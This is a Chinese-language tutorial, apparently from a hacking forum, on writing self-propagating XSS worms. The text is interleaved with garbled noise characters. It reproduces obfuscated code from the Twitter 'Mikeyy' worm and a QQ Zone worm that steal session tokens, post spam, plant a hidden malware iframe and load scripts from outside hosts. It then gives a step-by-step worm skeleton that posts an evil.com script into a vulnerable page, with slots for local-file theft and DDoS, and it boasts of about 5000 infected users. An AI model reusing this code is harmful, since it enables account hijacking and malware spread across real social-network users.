& |% i5 s  s9 V9 a( J( i$ P) X复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
* h+ B3 ~% P. h复制代码案例:Twitter 蠕蟲五度發威
第一版:
1 |& @' v5 j& C# s$ R9 H  下载 (5.1 KB)

6 s" Y5 A/ a/ Q9 V6 天前 08:27

3 U' X( B" ?8 a) s2 A第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
4 e* j4 ]% P. P8 W% q
   2.   

* P+ \7 d- N2 p& p: y: G  o   3. function XHConn(){  
- Q& W6 s/ Z* j0 @0 j
( G1 t* y5 q/ o# N0 p! c   4.   var _0x6687x2,_0x6687x3=false;  

6 O2 D1 {( m4 m0 B7 w   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

; g: N7 p, N" Q' S   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
' @0 N+ J$ m, P9 O
   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
5 x( _' I- P$ J" |+ \3 X5 p4 N) j
   8.   catch(e) { _0x6687x2=false; }; }; };  
6 g7 ]% p* U! p; V; S3 @; [复制代码第六版:   1. function wait() {  
# D! x4 ]4 @, e0 _3 I' p0 `
   2.   var content = document.documentElement.innerHTML;  

' @1 D  F4 x8 [& `! {; |   3.   var tmp_cookie=document.cookie;  
4 {3 |% }: n) H: s# b/ ?% F6 \
- {5 w. N% Q" h5 J  ]   4.   var tmp_posted=tmp_cookie.match(/posted/);  

7 E" P! C: q+ l- e   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

   6.   var authtoken=authreg.exec(content);  

4 G0 O) ~3 Y6 P& P' g1 v   7.   var authtoken=authtoken[1];  
4 i4 x& e2 [8 H+ V' B
  `8 i$ G3 A+ T2 W* o& V& j2 Y   8.   var randomUpdate= new Array();  

   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
1 @, b+ d, y! b2 [/ {1 n; H
6 m: m( f0 Y1 |% M8 B6 e  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
, K0 \0 k7 P, A1 E, h0 D/ H, Q
  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
1 d6 o' V0 r6 ?! A9 p3 e
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
' A. L1 e. k9 |7 s$ Y& [
  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

* |3 t$ x# b: a- s; u9 N  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

. I1 J5 {/ ^: }  E# t  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
  ~6 @7 e# h4 D9 o, f1 K
% s6 b. G7 h. \7 A- m# e3 O  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

) K; |/ n8 J0 d( x% c& l3 y  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
& w# ^0 V2 N6 s
  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
! t3 ^' Y" s% j8 G& E2 ]6 j
9 G$ R$ k: ]: L. j9 |1 _: n( F  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
; o2 W5 _% a2 i7 i$ H4 R
  t9 y2 Q1 d/ t$ }" b  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
+ ^( G( K5 s8 _& w- t- r+ O  r& ]
2 H4 `& {+ _! K* U9 g  24.     

# t) Q8 A( z: l( _$ v  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
! y4 [0 e0 g4 `; W1 ]; ~- \1 `
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
$ L+ ?% q$ i9 w0 s4 U+ U
  27.     

7 v% E5 T7 q' J% t! [  28.   var ajaxConn= new XHConn();  
  Q' a' h8 H2 X1 I+ O: _) C$ Y8 w
  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
+ G, G! O) [) [2 _% P
" R" ~/ K$ \/ M7 C4 w  30.   var _0xf81bx1c="Mikeyy";  

7 z4 L( ~# |! R( x6 B+ p  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  
( G8 q" N( X- f2 A% F9 C
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
3 A6 z% C" w6 s5 y
  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
. v( M2 \* S; z# f( ?3 w1 r
8 e* _3 Z8 t$ k# `! l- H* A  35.   var XSS=urlencode(genXSS);  

7 m" y7 x( o# z. f* `6 i  36.   var ajaxConn2= new XHConn();  
0 n: |- a! m% E' z/ j5 m) E
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

  38.     

  39. } ;  
9 b/ v0 b& j7 D( o: X/ b
  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}

3 J; i) t- }; m+ k6 |window.onerror=killErrors;

4 ]4 e) c2 h5 d5 @% x. M% G% p

0 W: j2 u4 L* k/ i1 @7 o& n1 C) T( Svar shendu;shendu=4;
. u2 D# C5 W$ _
2 f2 P+ l0 x" v. ?  m' }, g//---------------global---v------------------------------------------

//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
6 |/ T  o' H+ p2 T
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

1 B- |" A- L5 ovar myblogurl=new Array();var myblogid=new Array();
6 q, l6 ^9 h! Y$ g* N
: I) g6 d+ y, l7 P2 J5 i0 o        var gurl=document.location.href;
" \% g! d: p8 F$ b- @2 P5 F5 n
3 v0 U( N! n! ~        var gurle=gurl.indexOf("com/");
! T* }, ^. d( `. `# z0 {6 N# {8 H% |
# X% c: h) X( p+ f        gurl=gurl.substring(0,gurle+3);        
. y- ^3 [8 ^2 P+ \. o
        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");

# T5 w& L* l% w0 M, a& p        visitorID=visitorID.substring(cookieS+14);

        cookieS=visitorID.indexOf(",");

, N. {) T; E( Q$ o- E3 [0 e5 H& ^        visitorID=visitorID.substring(0,cookieS);

( l: ]) [* S9 @* Q0 I% {        get_my_blog(visitorID);
! W. A! {) ]2 |2 X4 o
        DOshuamy();
+ x4 C# r: k* q6 X3 o" ]

/ d, J: U% A! _% x; e
//挂马
8 v3 [7 b% b, Z+ _8 m2 n
function DOshuamy(){

var ssr=document.getElementById("veryTitle");
9 n, X  b' e* U
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
3 X/ z& B/ f' b3 x, o
}


3 |6 O9 @9 V6 n; s: \; t8 @
1 k. d  a. h/ M$ a/ A2 \//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
0 X) v  F' W( E
" \- J, O" W% R. w* X0 n9 U1 pfunction get_my_blog(visitorID){

   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
' @1 B. L! g/ j  G
( B" [" [! ~: T/ F" i8 y   if(xhr){    //成功就执行下面的

: Y& a2 }; J; ~1 B( x3 D) Y# l8 S* G     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

. A' |' V- E! f* Y* E; e. N# }     xhr.send();guest=xhr.responseText;

     get_my_blogurl(guest);    //执行这个函数
0 f& Y7 V8 ]  {# @6 B; [6 t
- A! g& `# o! a    }
# M6 V' ~3 Z9 a' x
}
& }& ]' y; Z" n' Z: m" L  z
3 f0 \% s3 [6 n/ z

//这里似乎是判断没有登录的
- s7 l- c6 E6 }, A% G: `% t+ k8 q
function get_my_blogurl(guest){

$ l9 v* X4 @& x. T  var mybloglist=guest;

  var myurls;var blogids;var blogide;

& o7 q2 J3 V6 M/ o1 I( Y  for(i=0;i<shendu;i++){

     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

! a! X, l! @" N$ U     if(myurls!=-1){    //找到了就执行下面的
' j$ S2 M% H, F  S, G+ u. O+ Z
6 P: |( y! ]% z' k& Y         mybloglist=mybloglist.substring(myurls+11);

         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);

        }else{break;}
8 O8 ?. ?% P7 h
}

get_my_testself();    //执行这个函数
1 O6 M9 q) ~4 ?& S5 q, v
}
! d. ^" S  u9 p- b2 B


( R" A( j9 l0 X. d7 R# b1 Q, n//这里往哪跳就不知道了
+ D1 B, f. Q; _
function get_my_testself(){
+ J3 l6 |7 e$ ?0 @* w. h5 X" ~$ y! u* m
  for(i=0;i<myblogid.length;i++){    //获得blogid的值

      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
0 Q7 ?, N# Z  W
' s7 A3 @$ Y2 b! ~$ F      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功
8 X( l8 i+ X! }6 {( `
+ }: U4 a, G6 e/ ]& O- j              xhr2.open("GET",url,false);     //打开上面的那个url

# w' {" [# Y, J% y0 I( ]              xhr2.send();
( {3 h% v5 r) x3 O, s3 t
              guest2=xhr2.responseText;
( K" t# s5 l6 Q- @
: g/ m8 E' }7 {# y9 H/ n              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

3 U: W( a. `3 Q% H3 G1 a              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
2 `& o" P- g) Y& r0 w  W
9 ], R6 L% ?& s9 c; ~  A              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
, [) U( ^& d0 I6 D% j6 n
8 U6 W: V8 l. g8 z1 M6 Z  J2 R9 Z& h                targetblogurlid=myblogid;   
% \$ T, ~; ]9 G1 J6 m
, m0 }  K8 u9 ^5 h) W: a6 e                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

7 |, g  z9 X: u8 ?# }2 z. J% B' a                break;

& l% J6 R$ L+ p4 n8 E               }

              if(mycheckit=="-1"){
% U. l5 Y& a. X4 s
: T$ X9 C2 w" @6 V" Q3 n) M  L                targetblogurlid=myblogid;

; ?/ o( n8 z3 F                add_js(visitorID,targetblogurlid,gurl);    //执行它
1 P3 {6 R/ ?; v" U, H+ i
$ n9 R# [1 [% b4 }                break;

1 V1 l" {8 r4 J& E               }

9 r, }6 K0 z/ O& r" P' H        }      
! D" X' u5 H4 s7 e; {5 s" \3 `
}
( H- O# W- q+ h; ?! l6 O2 `/ B4 Q
}
; I. f8 ^& `3 s) A; B) a- ?" U+ ^- I9 z
; Q' a  L" ~4 C' S

! i9 Z! t5 E$ }! h$ L//--------------------------------------  

7 I, \" Y4 L. ~7 {" J0 f0 o//根据浏览器创建一个XMLHttpRequest对象
; \; ]! f4 g7 r* b
function createXMLHttpRequest(){
" ~; I* J* Z% r
# t# G( ^6 T' m* J9 S! b2 W2 v  H7 L    var XMLhttpObject=null;  
; C8 V) |( c5 _& O2 B+ P6 R
) ]0 Q% I2 s0 _5 _- m* N    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
  z) l1 g* |( l1 X1 J& o
    else  
1 M/ W* ?  q0 J* i( U8 {0 ~
9 X. Q; C: C4 s) t1 l# H% i6 W      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
# E! V) Z6 R7 ]: \( E0 q
/ G$ R! D' \7 A. U- q        for(var i=0;i<MSXML.length;i++)  
4 |) P9 Y% |2 {, X& K* Y0 W* K& J
        {  

, R& \8 d  U! t* F' {3 _% I            try  
: L  }5 n: p' J% v
            {  

                XMLhttpObject=new ActiveXObject(MSXML);  

7 {0 R8 p8 ^7 w9 P/ V                break;  
, [. {( x8 x1 c* R
! c& b4 O! L* [# j; _0 X            }  

            catch (ex) {  
9 r( s. \$ P: S: x# ^" ^: b
- b. g0 H8 P$ o5 k1 L0 D            }  
' J8 M7 Y# L8 _4 @8 x
         }  

# |" _6 u  }! |      }

- z/ l; |9 m( i  m, h9 Jreturn XMLhttpObject;

- k0 F% P6 g, r' n* R6 B0 i6 S}  

& M# V8 n+ Q- E1 A/ m( P9 D  I

//这里就是感染部分了
* X1 P3 _7 Y8 g7 n, i. L2 F
- y7 N5 f& ~" J1 S1 ~( yfunction add_js(visitorID,targetblogurlid,gurl){

& ~0 Y& n6 Q, @9 Z) Tvar s2=document.createElement('script');

8 |: N4 R- R" A) w2 g# q" e: H7 r* Ks2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
) R# n/ [( A/ y+ m, P2 {2 V: q
0 g+ P$ {9 G6 t: @3 ?- vs2.type='text/javascript';
, Z5 K( y- N% M- T+ j+ x& C5 R
document.getElementsByTagName('head').item(0).appendChild(s2);

}
2 c4 ^' U2 \  e3 E7 Z- ^* [, J( z

$ `: {) Y; K4 d
$ C2 }' h7 n. V6 X2 g6 k* wfunction add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
8 O5 F2 l* i4 O- b  D# ~
* \& W' [0 I8 ~( As2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

, n* g' x- t$ i/ S9 U" b9 Us2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
$ `' M2 I8 ]7 C# u1 M
! v8 _$ A5 m3 M/ r% K& e}
: N& K# c4 F5 T9 o复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
0 z* ^6 U, T) n0 M- Z3 H5 T1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
* z% r) G5 G# V* z4 l
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
2 W8 |8 ]8 g0 k8 M- i5 K9 G+ c* }
$ I, {1 k4 i1 q综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
) G. V* h4 z% H! y& G

$ m) {1 e) @  L; G# D  S1 W" K下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

. F5 A8 S! M% `0 U首先,自然是判断不同浏览器,创建不同的对象var request = false;
* |0 ~* l$ Z, |1 @2 v4 U
if(window.XMLHttpRequest) {
8 A( E5 n; O. Z. o- @! a1 k0 Q
request = new XMLHttpRequest();

if(request.overrideMimeType) {

request.overrideMimeType('text/xml');

}
' t# G0 }1 J, h. X' l
} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {

try {

request = new ActiveXObject(versions);
: m2 f3 {# D4 l) M' i" f7 s
) \6 z* E! ]8 S7 \! {8 d: N) e} catch(e) {}

}
/ D9 x5 Z# _, l* I$ W: o
& ?6 k" @6 l3 R8 _! s}

* k6 Y- t6 q4 {; t! \3 `xmlHttpReq=request;
1 W+ c6 E3 g; }$ D. y: |复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
& _8 E: L" F5 n' B
        var Browser_Name=navigator.appName;
2 Y; F+ t7 c+ l" ?# L1 R
! P, k; J/ v& o7 U) v" ^- N' R+ a        var Browser_Version=parseFloat(navigator.appVersion);
9 w$ U# C. ^6 K' N" z; w4 \- d4 E
        var Browser_Agent=navigator.userAgent;
+ s9 v% Y  w' @! e2 R3 }
5 e, Z  ?% M! s- ~        

        var Actual_Version,Actual_Name;
  y8 S3 i5 X0 _/ C
        

8 |) Z/ `/ M, a; B8 L" O. j: f        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

9 \1 I1 R: G6 A5 h3 K( M        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");

& f; H0 \$ Z1 ?        
- e+ [% X% e, Q  L( V# J
; K3 l6 A$ S5 A/ R3 Z        if(is_NN){

            if(Browser_Version>=5.0){

                var Split_Sign=Browser_Agent.lastIndexOf("/");

% W* x$ |' b2 `2 V9 @                var Version=Browser_Agent.indexOf(" ",Split_Sign);
- v# S- n6 E7 \" X+ ]
                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
% a$ c- b# X( M; H; ]: P, c
0 d- j, ^& D- P1 R' ~0 g/ u
9 Z, F9 ?/ v, e4 h, b% _# g. X
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
# I% ]6 y: |. _1 X4 V6 O) f
                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
" q3 _8 f" ?* n" {  u
            }
1 {6 E* R, N* n, `& }% O" c7 ]
            else{

( N1 p) F5 R* Q3 s) {% q! i- e, n                Actual_Version=Browser_Version;
% @' M% B) ]/ I$ H: l
                Actual_Name=Browser_Name;
: F5 T4 w# w, h3 R4 t' N/ ^8 }
: Z0 |! j# V' ~9 t            }
* w. L, a4 \* {
        }

        else if(is_IE){

! `2 N& N4 S8 L( X  r0 w8 D* T            var Version_Start=Browser_Agent.indexOf("MSIE");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);

. i) R. o! {0 l/ X* h' x# Y8 b3 y/ R            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
& N9 l- j7 C5 B! a
3 D  y& x( y( d6 v            Actual_Name=Browser_Name;
$ g- D  z# A4 l# e! D' E
            

8 G. N6 t' o5 [            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";

            }

            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

$ @) l. w" e8 M3 g- D6 J) v                var tempend=Browser_Agent.length;
& l( F  x! y  P+ o  n9 j0 @
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
1 n" ?# {3 o( d2 I- p
            }
4 ~. Z3 O% z4 e* N
        }

        else if(is_Ch){

            var Version_Start=Browser_Agent.indexOf("Chrome");

5 U6 y2 G& C8 c  |5 [            var Version_End=Browser_Agent.indexOf(";",Version_Start);
( {3 V* o/ ~) u4 \# b# B
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

            
- y! b" q! F2 k4 z# [% C
' |5 K/ E- Z7 W: h4 P$ X$ O3 B            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";
+ a8 E. _, T/ {. m: R6 T- O
            }

            else if(Browser_Agent.indexOf("Opera")!=-1){
+ Z$ g% ^/ e* {2 e& {" P
) n) K3 r. @) K2 i/ t                Actual_Name="Opera";

; p6 {) ^( g0 x( m; X, {" G1 h- h                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
% F/ M3 s6 m1 }9 `6 r! q/ b
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
! d% `0 G/ F! s" A: o; v
7 a$ q+ m# \& w: O1 O        }

        else{
/ _9 {  d, D) g% C% T
: r: d% S2 W# b! j7 |" r/ A# L            Actual_Name="Unknown Navigator"
; |& X- p/ Y) o- e# @8 y5 {
7 y9 l4 z/ Z7 L5 j) j3 O3 j) r            Actual_Version="Unknown Version"
" x% _7 B0 V; l( [. I: ~1 B  r8 {
        }
2 u7 R7 `7 }2 W  ?2 F8 G, M


6 i# C* Y! v5 C  ~2 j" F3 j        navigator.Actual_Name=Actual_Name;

        navigator.Actual_Version=Actual_Version;

        
& I! f9 m) M0 q( S* L/ J6 \( g
        this.Name=Actual_Name;

        this.Version=Actual_Version;

) @/ a9 o# z6 m8 C  }6 `6 M2 W" S4 _+ M    }

    browserinfo();

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
* R0 D+ f' t4 n: f9 |  l0 W
. Y7 j9 S2 {! {' X- f9 _" j    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
9 A$ `/ I$ E2 t/ @" {
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
3 H( }9 J4 I9 O& u0 M# _: v& x
+ L: ^8 M+ l7 C5 [xmlHttpReq.send(null);
/ [9 ?" Y7 p" i( k/ Y, K) L9 K
var resource = xmlHttpReq.responseText;

* W2 v% x* H  f) e8 n+ Avar id=0;var result;
( _. n8 m* X0 x/ n% K, l
var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
& _+ A' W0 [3 o, U2 L: w& i8 o
8 T, o0 p7 ~* bwhile ((result = patt.exec(resource)) != null)  {
4 M, U: k% |4 I8 K
id++;
; |$ c2 Z" I) L
}
' ^* t+ h% t4 p8 ?复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

. V( w$ v0 Y/ d# Q/ S; |6 g( kvar post="wd="+wd;

xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
0 G. e  e3 C' X  u
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

/ L- B0 e6 @8 s$ F) t% I, i% F8 J- ^, fxmlHttpReq.setRequestHeader("content-length",post.length);
# n, l3 B  t& X  p% ^0 l. u
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
. P( Q( O- P0 f0 J
. |' L2 H  b) o, txmlHttpReq.send(post);
8 b* U) t/ F( @$ I' a5 s
}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

  B( L  x! P2 M/ I  V7 Y4 hvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

6 j) q3 T: G3 [var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
- j( q) L9 x& [- g% S& ?9 P* U0 i( }
- N' a2 M* j. G9 |' [! x: ovar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

var post="wd="+wd;
. q# {+ w2 p, A7 X8 N; q# Z  t
xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
1 b( c/ ]7 X/ e4 Y5 W
+ |9 a" b' `5 ?. y7 `+ m( [' ixmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

5 v1 {; ?4 s) U- @, f. X% X' JxmlHttpReq.setRequestHeader("content-length",post.length);
1 V) I5 B/ F5 ?& t5 M  A; C% O
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);                 //把传播的信息 POST出去.

}
' {9 q5 d% y. b" I. R, B6 s; q3 D- A) J复制代码-----------------------------------------------------总结-------------------------------------------------------------------

: {% m7 a; ~2 C/ @0 _) e+ W: W
! g* M6 `& f6 E, a
0 V, Y2 u4 n! w1 j) ^本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
, x* o: ?; D* ^4 p8 p' ^2 D- `3 i操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.


( {( D+ [3 y1 P8 M7 h
: }7 z, K: |* k9 q5 }1 p  }1 H
" k/ u: @9 j; C5 @+ @) M4 s3 d
% ?, l9 w3 q' {6 c


本文引用文档资料:
4 |. x& A7 C5 r& ?$ g
  K& |4 o: _% d1 A"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
& F7 C8 Y' F8 T: v) z% p0 ]"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
& @! B( Z% ^0 d# f空虚浪子心BLOG http://www.inbreak.net
- f3 R+ j/ T3 HXeye Team http://xeye.us/